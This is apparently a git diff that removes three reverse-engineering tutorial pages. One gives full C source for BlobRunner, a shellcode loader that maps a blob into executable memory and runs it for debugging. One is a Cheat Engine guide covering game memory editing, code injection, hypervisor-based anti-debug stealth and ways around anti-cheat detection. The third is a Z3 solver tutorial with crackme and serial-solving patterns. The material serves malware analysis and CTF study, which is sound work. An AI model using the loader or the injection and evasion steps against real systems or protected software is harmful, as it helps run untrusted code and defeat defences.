-cl /Feblobrunner64.exe /Foblobrunner64.out blobrunner.c
-```
-
-You can also paste the code into a small Visual Studio / VS Code C project and compile it there.
-
-## Useful usage patterns
-
-```bash
-# Execute from the beginning of the blob
-BlobRunner.exe shellcode.bin
-
-# Start from a known offset inside the blob
-BlobRunner.exe shellcode.bin --offset 0x100
-
-# Don't stop before transferring execution
-BlobRunner.exe shellcode.bin --nopause
-
-# Force an access violation and let the configured JIT debugger catch it
-BlobRunner.exe shellcode.bin --jit
-```
-
-- In **x86**, BlobRunner pauses and then performs a direct jump to the blob entry point.
-- In **x64**, it creates a **suspended thread**, so you can break on the thread start address before resuming execution.
-- `--offset` is especially useful when the dumped blob starts with a **decoder / unpacking stub** and you already know the real entry point.
-
-## Practical notes
-
-### Fix the printed addresses in x64 labs
-
-Older BlobRunner code prints addresses via casts such as `(int)(size_t)lpvBase` and `%08x` / `%016x`. In 64-bit workflows this can truncate the high half of the pointer and make rebasing / breakpoint placement annoying. The snippet below already fixes that by printing **`%p`** values directly.
-
-### `--jit` is useful for first-instruction breakpoints
-
-`--jit` removes execute access from the first byte of the shellcode and lets Windows raise an **access violation** when the blob starts executing. This is useful when you want the **configured JIT debugger** (for example x64dbg) to catch the first execution attempt instead of manually racing to attach. After the debugger breaks, restore execute rights and continue.
-
-A practical **x64dbg** flow is:
-
-```text
-setjit
-setjitauto on
-BlobRunner.exe shellcode.bin --jit
-setpagerights <region>, ExecuteReadWrite
-```
-
-The first two commands register x64dbg as the JIT debugger, and `setpagerights` restores execute rights on the region printed by BlobRunner after the debugger catches the access violation.
-
-### Time-travel the shellcode instead of single-stepping it live
-
-A very practical recent workflow is to record BlobRunner under **TTD** and then inspect the trace in **Binary Ninja** / **WinDbg**. This is great when the blob decrypts itself, resolves APIs dynamically, or performs several short-lived stages. Since **Binary Ninja 4.1**, TTD support is no longer just beta quality: it can drive reverse-debugging and simplify the WinDbg / TTD workflow directly from Binary Ninja.
-
-```bash
-TTD.exe .\blobrunner.exe .\shellcode.bin
-```
-
-The important part is to **note the allocated base address printed by BlobRunner** and then **rebase** the shellcode view to that address before replaying the trace. Also note that Microsoft documents TTD recording as **invasive**: run it from an **elevated** prompt, expect noticeable slowdown, and keep the recording window short to avoid massive trace files.
-
-### If the blob needs companion data, use a PE wrapper instead
-
-Some shellcode expects a **second blob**, a **mapped file**, or some other **structured content** to exist in memory. BlobRunner is intentionally minimal, so for these cases a runner such as **SCLauncher** can be more convenient because it can:
-
-- pause before execution,
-- insert an `INT3` breakpoint,
-- load **additional content** into memory,
-- memory-map that extra content, or
-- wrap the shellcode inside a temporary **PE** for easier analysis in tools that prefer normal executables.
-
-Example:
-
-```bash
-SCLauncher.exe -f=shellcode.bin -pause -d=config.bin -mm
-SCLauncher.exe -f=shellcode.bin -pe -64 -ep=0x120
-```
-
-For complementary workflows such as **jmp2it**, **Cutter** emulation, or **scdbg**-based shellcode tracing, check the [parent shellcode reversing page](README.md).
-
-## Source code
-
-The only modified lines from the [original code](https://github.com/OALabs/BlobRunner) are the pointer-printing lines used to avoid x64 address truncation.  
-In order to compile it just **create a C/C++ project in Visual Studio Code, copy and paste the code and build it**.
-
-```c
-#include <stdio.h>
-#include <windows.h>
-#include <stdlib.h>
-
-#ifdef _WIN64
-#include <WinBase.h>
-#endif
-
-// Define bool
-#pragma warning(disable:4996)
-#define true 1
-#define false 0
-
-const char* _version = "0.0.5";
-
-const char* _banner = " __________.__        ___.  __________\n"
-" \\______   \\  |   ____\\_ |__\\______   \\__ __  ____   ____   ___________     \n"
-"  |    |  _/  |  /  _ \\| __ \\|       _/  |  \\/    \\ /    \\_/ __ \\_  __ \\  \n"
-"  |    |   \\  |_(  <_> ) \\_\\ \\    |   \\  |  /   |  \\   |  \\  ___/|  | \\/ \n"
-"  |______  /____/\\____/|___  /____|_  /____/|___|  /___|  /\\___  >__|          \n"
-"         \\/                \\/       \\/           \\/     \\/     \\/    \n\n"
-"                                                                     %s    \n\n";
-
-
-void banner() {
-	system("cls");
-	printf(_banner, _version);
-	return;
-}
-
-LPVOID process_file(char* inputfile_name, bool jit, int offset, bool debug) {
-	LPVOID lpvBase;
-	FILE* file;
-	unsigned long fileLen;
-	char* buffer;
-	DWORD dummy;
-
-	file = fopen(inputfile_name, "rb");
-
-	if (!file) {
-		printf(" [!] Error: Unable to open %s\n", inputfile_name);
-
-		return (LPVOID)NULL;
-	}
-
-	printf(" [*] Reading file...\n");
-	fseek(file, 0, SEEK_END);
-	fileLen = ftell(file); //Get Length
-
-	printf(" [*] File Size: 0x%04x\n", fileLen);
-	fseek(file, 0, SEEK_SET); //Reset
-
-	fileLen += 1;
-
-	buffer = (char*)malloc(fileLen); //Create Buffer
-	fread(buffer, fileLen, 1, file);
-	fclose(file);
-
-	printf(" [*] Allocating Memory...");
-
-	lpvBase = VirtualAlloc(NULL, fileLen, 0x3000, 0x40);
-
-	printf(".Allocated!\n");
-	printf(" [*]   |-Base: %p\n", lpvBase);
-	printf(" [*] Copying input data...\n");
-
-	CopyMemory(lpvBase, buffer, fileLen);
-	return lpvBase;
-}
-
-void execute(LPVOID base, int offset, bool nopause, bool jit, bool debug)
-{
-	LPVOID shell_entry;
-
-#ifdef _WIN64
-	DWORD   thread_id;
-	HANDLE  thread_handle;
-	const char msg[] = " [*] Navigate to the Thread Entry and set a breakpoint. Then press any key to resume the thread.\n";
-#else
-	const char msg[] = " [*] Navigate to the EP and set a breakpoint. Then press any key to jump to the shellcode.\n";
-#endif
-
-	shell_entry = (LPVOID)((UINT_PTR)base + offset);
-
-#ifdef _WIN64
-
-	printf(" [*] Creating Suspended Thread...\n");
-	thread_handle = CreateThread(
-		NULL,          // Attributes
-		0,             // Stack size (Default)
-		shell_entry,         // Thread EP
-		NULL,          // Arguments
-		0x4,           // Create Suspended
-		&thread_id);   // Thread identifier
-
-	if (thread_handle == NULL) {
-		printf(" [!] Error Creating thread...");
-		return;
-	}
-	printf(" [*] Created Thread: [%d]\n", thread_id);
-	printf(" [*] Thread Entry: %p\n", shell_entry);
-
-#endif
-
-	if (nopause == false) {
-		printf("%s", msg);
-		getchar();
-	}
-	else
-	{
-		if (jit == true) {
-			// Force an exception by making the first byte not executable.
-			// This will cause
-			DWORD oldp;
-
-			printf(" [*] Removing EXECUTE access to trigger exception...\n");
-
-			VirtualProtect(shell_entry, 1 , PAGE_READWRITE, &oldp);
-		}
-	}
-
-#ifdef _WIN64
-	printf(" [*] Resuming Thread..\n");
-	ResumeThread(thread_handle);
-#else
-	printf(" [*] Entry: %p\n", shell_entry);
-	printf(" [*] Jumping to shellcode\n");
-	__asm jmp shell_entry;
-#endif
-}
-
-void print_help() {
-	printf(" [!] Error: No file!\n\n");
-	printf("     Required args: <inputfile>\n\n");
-	printf("     Optional Args:\n");
-	printf("         --offset <offset> The offset to jump into.\n");
-	printf("         --nopause         Don't pause before jumping to shellcode. Danger!!! \n");
-	printf("         --jit             Forces an exception by removing the EXECUTE permission from the alloacted memory.\n");
-	printf("         --debug           Verbose logging.\n");
-	printf("         --version         Print version and exit.\n\n");
-}
-
-int main(int argc, char* argv[])
-{
-	LPVOID base;
-	int i;
-	int offset = 0;
-	bool nopause = false;
-	bool debug = false;
-	bool jit = false;
-	char* nptr;
-
-	banner();
-
-	if (argc < 2) {
-		print_help();
-		return -1;
-	}
-
-	printf(" [*] Using file: %s \n", argv[1]);
-
-	for (i = 2; i < argc; i++) {
-		if (strcmp(argv[i], "--offset") == 0) {
-			printf(" [*] Parsing offset...\n");
-			i = i + 1;
-			if (strncmp(argv[i], "0x", 2) == 0) {
-			    offset = strtol(argv[i], &nptr, 16);
-            }
-			else {
-			    offset = strtol(argv[i], &nptr, 10);
-			}
-		}
-		else if (strcmp(argv[i], "--nopause") == 0) {
-			nopause = true;
-		}
-		else if (strcmp(argv[i], "--jit") == 0) {
-			jit = true;
-			nopause = true;
-		}
-		else if (strcmp(argv[i], "--debug") == 0) {
-			debug = true;
-		}
-		else if (strcmp(argv[i], "--version") == 0) {
-			printf("Version: %s", _version);
-		}
-		else {
-			printf("[!] Warning: Unknown arg: %s\n", argv[i]);
-		}
-	}
-
-	base = process_file(argv[1], jit, offset, debug);
-	if (base == NULL) {
-		printf(" [!] Exiting...");
-		return -1;
-	}
-	printf(" [*] Using offset: 0x%08x\n", offset);
-	execute(base, offset, nopause, jit, debug);
-	printf("Pausing - Press any key to quit.\n");
-	getchar();
-	return 0;
-}
-```
-
-
-
-## References
-
-- [Time Travel Debugging Shellcode with Binary Ninja](https://www.lrqa.com/en/cyber-labs/time-travel-debugging-shellcode-with-binary-ninja/)
-- [Analyzing Shellcode with SCLauncher](https://www.thecyberyeti.com/post/analyzing-shellcode-with-sclauncher)
-{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/reversing/reversing-tools-basic-methods/cheat-engine.md b/src/reversing/reversing-tools-basic-methods/cheat-engine.md
deleted file mode 100644
index 0d156bd61d7..00000000000
--- a/src/reversing/reversing-tools-basic-methods/cheat-engine.md
+++ /dev/null
@@ -1,222 +0,0 @@
-# Cheat Engine
-
-{{#include ../../banners/hacktricks-training.md}}
-
-[**Cheat Engine**](https://www.cheatengine.org/downloads.php) is a useful program to find where important values are saved inside the memory of a running game and change them.\
-When you download and run it, you are **presented** with a **tutorial** of how to use the tool. If you want to learn how to use the tool it's highly recommended to complete it.
-
-## What are you searching?
-
-![Cheat Engine - What are you searching?: What are you searching?](<../../images/image (762).png>)
-
-This tool is very useful to find **where some value** (usually a number) **is stored in the memory** of a program.\
-**Usually numbers** are stored in **4bytes** form, but you could also find them in **double** or **float** formats, or you may want to look for something **different from a number**. For that reason you need to be sure you **select** what you want to **search for**:
-
-![Cheat Engine - What are you searching?: Usually numbers are stored in 4bytes form, but you could also find them in double or float formats, or you may want to look for something...](<../../images/image (324).png>)
-
-Also you can indicate **different** types of **searches**:
-
-![Cheat Engine - What are you searching?: Also you can indicate different types of searches](<../../images/image (311).png>)
-
-You can also check the box to **stop the game while scanning the memory**:
-
-![Cheat Engine - What are you searching?: You can also check the box to stop the game while scanning the memory](<../../images/image (1052).png>)
-
-### Hotkeys
-
-In _**Edit --> Settings --> Hotkeys**_ you can set different **hotkeys** for different purposes like **stopping** the **game** (which is quiet useful if at some point you want to scan the memory). Other options are available:
-
-![What are you searching? - Hotkeys: In Edit -- Settings -- Hotkeys you can set different hotkeys for different purposes like stopping the game (which is quiet useful if at some point you...](<../../images/image (864).png>)
-
-## Modifying the value
-
-Once you **found** where is the **value** you are **looking for** (more about this in the following steps) you can **modify it** double clicking it, then double clicking its value:
-
-![Hotkeys - Modifying the value: Once you found where is the value you are looking for (more about this in the following steps) you can modify it double clicking it, then double clicking...](<../../images/image (563).png>)
-
-And finally **marking the check** to get the modification done in the memory:
-
-![Hotkeys - Modifying the value: And finally marking the check to get the modification done in the memory](<../../images/image (385).png>)
-
-The **change** to the **memory** will be immediately **applied** (note that until the game doesn't use this value again the value **won't be updated in the game**).
-
-## Searching the value
-
-So, we are going to suppose that there is an important value (like the life of your user) that you want to improve, and you are looking for this value in the memory)
-
-### Through a known change
-
-Supposing you are looking for the value 100, you **perform a scan** searching for that value and you find a lot of coincidences:
-
-![Searching the value - Through a known change: Supposing you are looking for the value 100, you perform a scan searching for that value and you find a lot of coincidences](<../../images/image (108).png>)
-
-Then, you do something so that **value changes**, and you **stop** the game and **perform** a **next scan**:
-
-![Searching the value - Through a known change: Then, you do something so that value changes , and you stop the game and perform a next scan](<../../images/image (684).png>)
-
-Cheat Engine will search for the **values** that **went from 100 to the new value**. Congrats, you **found** the **address** of the value you were looking for, you can now modify it.\
-_If you still have several values, do something to modify again that value, and perform another "next scan" to filter the addresses._
-
-### Unknown Value, known change
-
-In the scenario you **don't know the value** but you know **how to make it change** (and even the value of the change) you can look for your number.
-
-So, start by performing a scan of type "**Unknown initial value**":
-
-![Through a known change - Unknown Value, known change: So, start by performing a scan of type " Unknown initial value "](<../../images/image (890).png>)
-
-Then, make the value change, indicate **how** the **value** **changed** (in my case it was decreased by 1) and perform a **next scan**:
-
-![Through a known change - Unknown Value, known change: Then, make the value change, indicate how the value changed (in my case it was decreased by 1) and perform a next scan](<../../images/image (371).png>)
-
-You will be presented **all the values that were modified in the selected way**:
-
-![Through a known change - Unknown Value, known change: You will be presented all the values that were modified in the selected way](<../../images/image (569).png>)
-
-Once you have found your value, you can modify it.
-
-Note that there are a **lot of possible changes** and you can do these **steps as much as you want** to filter the results:
-
-![Through a known change - Unknown Value, known change: Note that there are a lot of possible changes and you can do these steps as much as you want to filter the results](<../../images/image (574).png>)
-
-### Random Memory Address - Finding the code
-
-Until know we learnt how to find an address storing a value, but it's highly probably that in **different executions of the game that address is in different places of the memory**. So lets find out how to always find that address.
-
-Using some of the mentioned tricks, find the address where your current game is storing the important value. Then (stopping the game if you whish) do a **right click** on the found **address** and select "**Find out what accesses this address**" or "**Find out what writes to this address**":
-
-![Unknown Value, known change - Random Memory Address - Finding the code: Using some of the mentioned tricks, find the address where your current game is storing the important value. Then...](<../../images/image (1067).png>)
-
-The **first option** is useful to know which **parts** of the **code** are **using** this **address** (which is useful for more things like **knowing where you can modify the code** of the game).\
-The **second option** is more **specific**, and will be more helpful in this case as we are interested in knowing **from where this value is being written**.
-
-Once you have selected one of those options, the **debugger** will be **attached** to the program and a new **empty window** will appear. Now, **play** the **game** and **modify** that **value** (without restarting the game). The **window** should be **filled** with the **addresses** that are **modifying** the **value**:
-
-![Unknown Value, known change - Random Memory Address - Finding the code: Once you have selected one of those options, the debugger will be attached to the program and a new empty window...](<../../images/image (91).png>)
-
-Now that you found the address it's modifying the value you can **modify the code at your pleasure** (Cheat Engine allows you to modify it for NOPs real quick):
-
-![Unknown Value, known change - Random Memory Address - Finding the code: Now that you found the address it's modifying the value you can modify the code at your pleasure (Cheat Engine...](<../../images/image (1057).png>)
-
-So, you can now modify it so the code won't affect your number, or will always affect in a positive way.
-
-### Random Memory Address - Finding the pointer
-
-Following the previous steps, find where the value you are interested is. Then, using "**Find out what writes to this address**" find out which address writes this value and double click on it to get the disassembly view:
-
-![Random Memory Address - Finding the code - Random Memory Address - Finding the pointer: Following the previous steps, find where the value you are interested is. Then, using " Find out...](<../../images/image (1039).png>)
-
-Then, perform a new scan **searching for the hex value between "\[]"** (the value of $edx in this case):
-
-![Random Memory Address - Finding the code - Random Memory Address - Finding the pointer: Then, perform a new scan searching for the hex value between " ()" (the value of $edx in this case)](<../../images/image (994).png>)
-
-(_If several appear you usually need the smallest address one_)\
-Now, we have f**ound the pointer that will be modifying the value we are interested in**.
-
-Click on "**Add Address Manually**":
-
-![Random Memory Address - Finding the code - Random Memory Address - Finding the pointer: Click on " Add Address Manually "](<../../images/image (990).png>)
-
-Now, click on the "Pointer" check box and add the found address in the text box (in this scenario, the found address in the previous image was "Tutorial-i386.exe"+2426B0):
-
-![Random Memory Address - Finding the code - Random Memory Address - Finding the pointer: Now, click on the "Pointer" check box and add the found address in the text box (in this scenario,...](<../../images/image (392).png>)
-
-(Note how the first "Address" is automatically populated from the pointer address you introduce)
-
-Click OK and a new pointer will be created:
-
-![Random Memory Address - Finding the code - Random Memory Address - Finding the pointer: Click OK and a new pointer will be created](<../../images/image (308).png>)
-
-Now, every time you modifies that value you are **modifying the important value even if the memory address where the value is is different.**
-
-### Code Injection
-
-Code injection is a technique where you inject a piece of code into the target process, and then reroute the execution of code to go through your own written code (like giving you points instead of resting them).
-
-So, imagine you have found the address that is subtracting 1 to the life of your player:
-
-![Random Memory Address - Finding the pointer - Code Injection: So, imagine you have found the address that is subtracting 1 to the life of your player](<../../images/image (203).png>)
-
-Click on Show disassembler to get the **disassemble code**.\
-Then, click **CTRL+a** to invoke the Auto assemble window and select _**Template --> Code Injection**_
-
-![Random Memory Address - Finding the pointer - Code Injection: Then, click CTRL+a to invoke the Auto assemble window and select Template -- Code Injection](<../../images/image (902).png>)
-
-Fill the **address of the instruction you want to modify** (this is usually autofilled):
-
-![Random Memory Address - Finding the pointer - Code Injection: Fill the address of the instruction you want to modify (this is usually autofilled)](<../../images/image (744).png>)
-
-A template will be generated:
-
-![Random Memory Address - Finding the pointer - Code Injection: A template will be generated](<../../images/image (944).png>)
-
-So, insert your new assembly code in the "**newmem**" section and remove the original code from the "**originalcode**" if you don't want it to be executed**.** In this example the injected code will add 2 points instead of substracting 1:
-
-![Random Memory Address - Finding the pointer - Code Injection: So, insert your new assembly code in the " newmem " section and remove the original code from the " originalcode " if you...](<../../images/image (521).png>)
-
-**Click on execute and so on and your code should be injected in the program changing the behaviour of the functionality!**
-
-## Advanced features in Cheat Engine 7.x (2023-2025)
-
-Cheat Engine has continued to evolve since version 7.0 and several quality-of-life and *offensive-reversing* features have been added that are extremely handy when analysing modern software (and not only games!). Below is a **very condensed field guide** to the additions you will most likely use during red-team/CTF work.
-
-### Pointer Scanner 2 improvements
-* `Pointers must end with specific offsets` and the new **Deviation** slider (≥7.4) greatly reduce false positives when you rescan after an update. Use it together with multi-map comparison (`.PTR` → *Compare results with other saved pointer map*) to obtain a **single resilient base-pointer** in just a few minutes.
-* Bulk-filter shortcut: after the first scan press `Ctrl+A → Space` to mark everything, then `Ctrl+I` (invert) to deselect addresses that failed the rescan.
-
-### Ultimap 3 – Intel PT tracing
-*From 7.5 the old Ultimap was re-implemented on top of **Intel Processor-Trace (IPT)***. This means you can now record *every* branch the target takes **without single-stepping** (user-mode only, it will not trip most anti-debug gadgets).
-
-```
-Memory View → Tools → Ultimap 3 → check «Intel PT»
-Select number of buffers → Start
-```
-After a few seconds stop the capture and **right-click → Save execution list to file**. Combine branch addresses with a `Find out what addresses this instruction accesses` session to locate high-frequency game-logic hotspots extremely fast. 
-
-### 1-byte `jmp` / auto-patch templates
-Version 7.5 introduced a *one-byte* JMP stub (0xEB) that installs an SEH handler and places an INT3 at the original location. It is generated automatically when you use **Auto Assembler → Template → Code Injection** on instructions that cannot be patched with a 5-byte relative jump. This makes “tight” hooks possible inside packed or size-constrained routines.
-
-### Kernel-level stealth with DBVM (AMD & Intel)
-*DBVM* is CE’s built-in Type-2 hypervisor. Recent builds finally added **AMD-V/SVM support** so you can run `Driver → Load DBVM` on Ryzen/EPYC hosts. DBVM lets you:
-1. Create hardware breakpoints invisible to Ring-3/anti-debug checks.
-2. Read/write pageable or protected kernel memory regions even when the user-mode driver is disabled.
-3. Perform VM-EXIT-less timing-attack bypasses (e.g. query `rdtsc` from the hypervisor).
-
-**Tip:** DBVM will refuse to load when HVCI/Memory-Integrity is enabled on Windows 11 → turn it off or boot a dedicated VM-host.
-
-### Remote / cross-platform debugging with **ceserver**
-CE now ships a full rewrite of *ceserver* and can attach over TCP to **Linux, Android, macOS & iOS** targets. A popular fork integrates *Frida* to combine dynamic instrumentation with CE’s GUI – ideal when you need to patch Unity or Unreal games running on a phone:
-
-```
-# on the target (arm64)
-./ceserver_arm64 &
-# on the analyst workstation
-adb forward tcp:52736 tcp:52736   # (or ssh tunnel)
-Cheat Engine → "Network" icon → Host = localhost → Connect
-```
-For the Frida bridge see `bb33bb/frida-ceserver` on GitHub. 
-
-### Other noteworthy goodies
-* **Patch Scanner** (MemView → Tools) – detects unexpected code changes in executable sections; handy for malware analysis.
-* **Structure Dissector 2** – drag-an-address → `Ctrl+D`, then *Guess fields* to auto-evaluate C-structures.
-* **.NET & Mono Dissector** – improved Unity game support; call methods directly from the CE Lua console.
-* **Big-Endian custom types** – reversed byte order scan/edit (useful for console emulators and network packet buffers).
-* **Autosave & tabs** for AutoAssembler/Lua windows, plus `reassemble()` for multi-line instruction rewrite.
-
-### Installation & OPSEC notes (2024-2025)
-* The official installer is wrapped with InnoSetup **ad-offers** (`RAV` etc.). **Always click *Decline*** *or compile from source* to avoid PUPs. AVs will still flag `cheatengine.exe` as a *HackTool*, which is expected.
-* Modern anti-cheat drivers (EAC/Battleye, ACE-BASE.sys, mhyprot2.sys) detect CE’s window class even when renamed. Run your reversing copy **inside a disposable VM** or after disabling network play.
-* If you only need user-mode access choose **`Settings → Extra → Kernel mode debug = off`** to avoid loading CE’s unsigned driver that may BSOD on Windows 11 24H2 Secure-Boot.
-
----
-
-## **References**
-
-- [Cheat Engine 7.5 release notes (GitHub)](https://github.com/cheat-engine/cheat-engine/releases/tag/7.5)
-- [frida-ceserver cross-platform bridge](https://github.com/bb33bb/frida-ceserver-Mac-and-IOS)
-- **Cheat Engine tutorial, complete it to learn how to start with Cheat Engine**
-
-{{#include ../../banners/hacktricks-training.md}}
-
-
-
diff --git a/src/reversing/reversing-tools-basic-methods/satisfiability-modulo-theories-smt-z3.md b/src/reversing/reversing-tools-basic-methods/satisfiability-modulo-theories-smt-z3.md
deleted file mode 100644
index f9419ce4991..00000000000
--- a/src/reversing/reversing-tools-basic-methods/satisfiability-modulo-theories-smt-z3.md
+++ /dev/null
@@ -1,301 +0,0 @@
-# Very basically, this tool will help us to find values for variables that need to satisfy some conditions and calculating them by hand will be so annoying. Therefore, you can indicate to Z3 the conditions the variables need to satisfy and it will find some values (if possible).
-
-{{#include ../../banners/hacktricks-training.md}}
-
-# Basic Operations
-
-## Booleans/And/Or/Not
-
-```python
-# pip3 install z3-solver
-from z3 import *
-
-s = Solver() # The solver will be given the conditions
-
-x = Bool("x") # Declare the symbols x, y and z
-y = Bool("y")
-z = Bool("z")
-
-# (x or y or !z) and y
-s.add(And(Or(x, y, Not(z)), y))
-s.check() # If response is "sat" then the model is satisfiable, if "unsat" something is wrong
-print(s.model()) # Print valid values to satisfy the model
-```
-
-## Ints/Simplify/Reals
-
-```python
-from z3 import *
-
-x = Int('x')
-y = Int('y')
-
-# Simplify a "complex" equation
-print(simplify(And(x + 1 >= 3, x**2 + x**2 + y**2 + 2 >= 5)))
-# And(x >= 2, 2*x**2 + y**2 >= 3)
-
-# Note that Z3 is capable of treating irrational numbers
-# (an irrational algebraic number is a root of a polynomial with integer coefficients).
-# Internally, Z3 represents all these numbers precisely.
-r1 = Real('r1')
-r2 = Real('r2')
-
-# Solve the equation
-print(solve(r1**2 + r2**2 == 3, r1**3 == 2))
-
-# Solve the equation with 30 decimals
-set_option(precision=30)
-print(solve(r1**2 + r2**2 == 3, r1**3 == 2))
-```
-
-## Printing Model
-
-```python
-from z3 import *
-
-x, y, z = Reals('x y z')
-s = Solver()
-s.add(x > 1, y > 1, x + y > 3, z - x < 10)
-s.check()
-
-m = s.model()
-print("x = %s" % m[x])
-for d in m.decls():
-    print("%s = %s" % (d.name(), m[d]))
-```
-
-# Machine Arithmetic
-
-Modern CPUs and main-stream programming languages use arithmetic over fixed-size bit-vectors. Machine arithmetic is available in Z3Py as Bit-Vectors.
-
-```python
-from z3 import *
-
-x = BitVec('x', 16) # Bit vector variable "x" of length 16 bits
-y = BitVec('y', 16)
-e = BitVecVal(10, 16) # Bit vector with value 10 of length 16 bits
-a = BitVecVal(-1, 16)
-b = BitVecVal(65535, 16)
-print(simplify(a == b)) # This is True!
-
-a = BitVecVal(-1, 32)
-b = BitVecVal(65535, 32)
-print(simplify(a == b)) # This is False
-```
-
-## Signed/Unsigned Numbers
-
-Z3 provides special signed versions of arithmetical operations where it makes a difference whether the bit-vector is treated as signed or unsigned. In Z3Py, the operators `<`, `<=`, `>`, `>=`, `/`, `%` and `>>` correspond to the signed versions. The corresponding unsigned operators are `ULT`, `ULE`, `UGT`, `UGE`, `UDiv`, `URem` and `LShR`.
-
-```python
-from z3 import *
-
-# Create two bit-vectors of size 32
-x, y = BitVecs('x y', 32)
-solve(x + y == 2, x > 0, y > 0)
-
-# Bit-wise operators
-# & bit-wise and
-# | bit-wise or
-# ~ bit-wise not
-solve(x & y == ~y)
-solve(x < 0)
-
-# Using unsigned version of <
-solve(ULT(x, 0))
-```
-
-## Functions
-
-Interpreted functions such as arithmetic have a fixed standard interpretation. Uninterpreted functions and constants are maximally flexible; they allow any interpretation that is consistent with the constraints over the function or constant.
-
-Example: `f` applied twice to `x` results in `x` again, but `f` applied once to `x` is different from `x`.
-
-```python
-from z3 import *
-
-x = Int('x')
-y = Int('y')
-f = Function('f', IntSort(), IntSort())
-s = Solver()
-s.add(f(f(x)) == x, f(x) == y, x != y)
-s.check()
-m = s.model()
-print("f(f(x)) =", m.evaluate(f(f(x))))
-print("f(x)    =", m.evaluate(f(x)))
-
-print(m.evaluate(f(2)))
-s.add(f(x) == 4) # Find the value that generates 4 as response
-s.check()
-print(s.model())
-```
-
-# Reversing-Oriented Patterns
-
-If you need full symbolic execution over a binary instead of manually lifting only a few checks, check [Angr - Examples](angr/angr-examples.md). In practice, a very common workflow is to recover the relevant predicates from the decompiler/assembly and rebuild only the interesting arithmetic or memory constraints in Z3.
-
-## Model user-controlled data as bytes first
-
-For reversing, it is usually better to start with `BitVec(..., 8)` for each input byte and then rebuild words exactly as the target does. This preserves wrap-around, signedness bugs, shifts, rotates, and byte-order issues.
-
-```python
-from z3 import *
-
-b0, b1, b2, b3 = BitVecs('b0 b1 b2 b3', 8)
-dword = Concat(b3, b2, b1, b0) # bytes -> little-endian uint32
-
-s = Solver()
-s.add(b0 == ord('A'), b1 == ord('B'), b2 == ord('C'), b3 == ord('D'))
-s.add(Extract(15, 0, dword) == 0x4241)
-s.add(RotateRight(dword, 8) == 0x41444342)
-
-print(s.check())
-print(hex(s.model().eval(dword).as_long()))
-```
-
-Useful helpers when translating assembly or decompiler code:
-
-- `Concat`: rebuild 16/32/64-bit values from bytes
-- `Extract`: compare high/low words or emulate masks/shifts
-- `ZeroExt` / `SignExt`: model zero/sign extension bugs correctly
-- `LShR` / `RotateLeft` / `RotateRight`: common in crackmes, hashes, and obfuscators
-
-## Model memory/register tables with arrays
-
-When a check depends on `buf[i]`, lookup tables, or emulated memory, `Array` can be cleaner than creating dozens of separate variables.
-
-```python
-from z3 import *
-
-mem = Array('mem', BitVecSort(32), BitVecSort(8))
-mem = Store(mem, BitVecVal(0x1000, 32), BitVecVal(0x41, 8))
-mem = Store(mem, BitVecVal(0x1001, 32), BitVecVal(0x42, 8))
-
-word = Concat(
-    Select(mem, BitVecVal(0x1001, 32)),
-    Select(mem, BitVecVal(0x1000, 32))
-)
-
-s = Solver()
-s.add(word == 0x4241)
-print(s.check())
-```
-
-This is especially handy when the binary copies values around memory before validating them, or when you want to model the effect of a few `mov`/`xor`/`add` operations without running the whole program.
-
-## Incremental solving is great for branch triage
-
-When you already extracted the base constraints, use `push()` / `pop()` (or assumptions) to test alternative branches without rebuilding the solver every time:
-
-```python
-from z3 import *
-
-x = BitVec('x', 32)
-s = Solver()
-s.add(x & 0xff == 0x41)
-
-s.push()
-s.add(x > 0x1000)
-print("branch 1:", s.check())
-s.pop()
-
-s.push()
-s.add(x < 0x100)
-print("branch 2:", s.check())
-s.pop()
-```
-
-This is useful when replaying path conditions recovered from a decompiler, or when you want to quickly identify which comparison is making the model `unsat`.
-
-## Optimize for nicer payloads
-
-Once a model is satisfiable, `Optimize()` can help you get a more usable solution: for example, prefer printable bytes, minimize a checksum component, or maximize some structure that makes the recovered password easier to type or copy.
-
-```python
-from z3 import *
-
-key = [BitVec(f'k{i}', 8) for i in range(6)]
-o = Optimize()
-for c in key:
-    o.add(c != 0)
-    o.add_soft(And(c >= 0x20, c <= 0x7e))
-
-print(o.check())
-print(bytes(o.model()[c].as_long() for c in key))
-```
-
-## Strings/sequences for format-heavy serials
-
-If the target mainly checks prefixes, suffixes, substrings, or regex-like structure, `String`/`Seq` constraints can be easier than byte-by-byte bit-vectors:
-
-```python
-from z3 import *
-
-serial = String('serial')
-s = Solver()
-s.add(Length(serial) == 10)
-s.add(PrefixOf(StringVal("HTB{"), serial))
-s.add(SuffixOf(StringVal("}"), serial))
-s.add(Contains(serial, StringVal("_")))
-```
-
-However, once the binary starts doing arithmetic, rotations, checksums, or casts over characters, it is usually better to go back to 8-bit bit-vectors.
-
-# Examples
-
-## Sudoku solver
-
-```python
-# 9x9 matrix of integer variables
-X = [[Int("x_%s_%s" % (i+1, j+1)) for j in range(9)]
-     for i in range(9)]
-
-# each cell contains a value in {1, ..., 9}
-cells_c = [And(1 <= X[i][j], X[i][j] <= 9)
-           for i in range(9) for j in range(9)]
-
-# each row contains a digit at most once
-rows_c = [Distinct(X[i]) for i in range(9)]
-
-# each column contains a digit at most once
-cols_c = [Distinct([X[i][j] for i in range(9)])
-          for j in range(9)]
-
-# each 3x3 square contains a digit at most once
-sq_c = [Distinct([X[3*i0 + i][3*j0 + j]
-                  for i in range(3) for j in range(3)])
-        for i0 in range(3) for j0 in range(3)]
-
-sudoku_c = cells_c + rows_c + cols_c + sq_c
-
-# sudoku instance, we use '0' for empty cells
-instance = ((0,0,0,0,9,4,0,3,0),
-            (0,0,0,5,1,0,0,0,7),
-            (0,8,9,0,0,0,0,4,0),
-            (0,0,0,0,0,0,2,0,8),
-            (0,6,0,2,0,1,0,5,0),
-            (1,0,2,0,0,0,0,0,0),
-            (0,7,0,0,0,0,5,2,0),
-            (9,0,0,0,6,5,0,0,0),
-            (0,4,0,9,7,0,0,0,0))
-
-instance_c = [If(instance[i][j] == 0, True, X[i][j] == instance[i][j])
-              for i in range(9) for j in range(9)]
-
-s = Solver()
-s.add(sudoku_c + instance_c)
-if s.check() == sat:
-    m = s.model()
-    r = [[m.evaluate(X[i][j]) for j in range(9)]
-         for i in range(9)]
-    print_matrix(r)
-else:
-    print("failed to solve")
-```
-
-## References
-
-* [https://ericpony.github.io/z3py-tutorial/guide-examples.htm](https://ericpony.github.io/z3py-tutorial/guide-examples.htm)
-* [https://microsoft.github.io/z3guide/](https://microsoft.github.io/z3guide/)
-* [https://theory.stanford.edu/~nikolaj/programmingz3.html](https://theory.stanford.edu/~nikolaj/programmingz3.html)
-{{#include ../../banners/hacktricks-training.md}}
